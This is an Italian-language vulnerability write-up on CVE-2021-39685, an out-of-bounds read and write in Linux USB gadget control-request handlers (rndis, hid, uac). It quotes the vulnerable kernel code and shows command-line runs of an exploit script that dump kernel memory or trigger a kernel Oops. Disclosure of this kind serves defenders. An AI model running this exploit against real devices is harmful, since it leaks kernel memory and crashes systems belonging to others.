
CVE-2021-39685: descrizione ed exploit di esempio per la vulnerabilità di overflow del gadget USB Linux
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
Un attaccante può accedere alla memoria del kernel bypassando i confini validi del buffer sfruttando l'implementazione dei gestori delle richieste di controllo nei seguenti gadget USB – rndis, hid, uac1, uac1_legacy e uac2. L'elaborazione di richieste di trasferimento di controllo malevole con wLength inaspettatamente grande non garantisce che questo valore non superi la dimensione del buffer. Per questo motivo è possibile leggere e/o scrivere (a seconda del caso specifico) fino a 65k di memoria del kernel.
Alcuni percorsi di esecuzione dei gestori di trasferimento di controllo USB di gadget come rndis, hid, uac1, uac1_legacy e uac2 non includono una corretta gestione della lunghezza della richiesta (wLength). Questo valore dovrebbe essere limitato alla dimensione del buffer per prevenire vulnerabilità di buffer overflow nella fase di trasferimento dei dati.
Il buffer utilizzato dall'endpoint 0 viene allocato in composite.c con una dimensione di USB_COMP_EP0_BUFSIZ (4096) byte, quindi impostare wLength a un valore maggiore di USB_COMP_EP0_BUFSIZ causerà un buffer overflow.
Ad esempio, nel caso di f_uac1.c, l'esecuzione della funzione f_audio_setup consente di effettuare sia letture che scritture oltre i confini del buffer. Né f_audio_setup né nessuna delle funzioni chiamate – audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in – limitano il valore di ritorno a essere più piccolo della dimensione del buffer. Di conseguenza, la fase di trasferimento dati utilizza req->length = value = ctrl->wLength, che è controllato dall'attaccante. Ciò consente di leggere o scrivere fino a 65k byte di memoria del kernel a seconda della direzione del trasferimento di controllo.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
L'esecuzione dell'exploit di lettura di esempio consente di dumpare fino a 65k di memoria.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
D'altra parte, l'esecuzione dell'exploit di sovrascrittura consente di scrivere dati arbitrari oltre i confini previsti del buffer.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
Analogamente, nel caso del gadget rndis, la funzione rndis_setup può essere sfruttata per scrivere oltre i confini del buffer utilizzando una richiesta di trasferimento di controllo con direzione out, tipo class, destinatario interface e bRequest impostato a USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...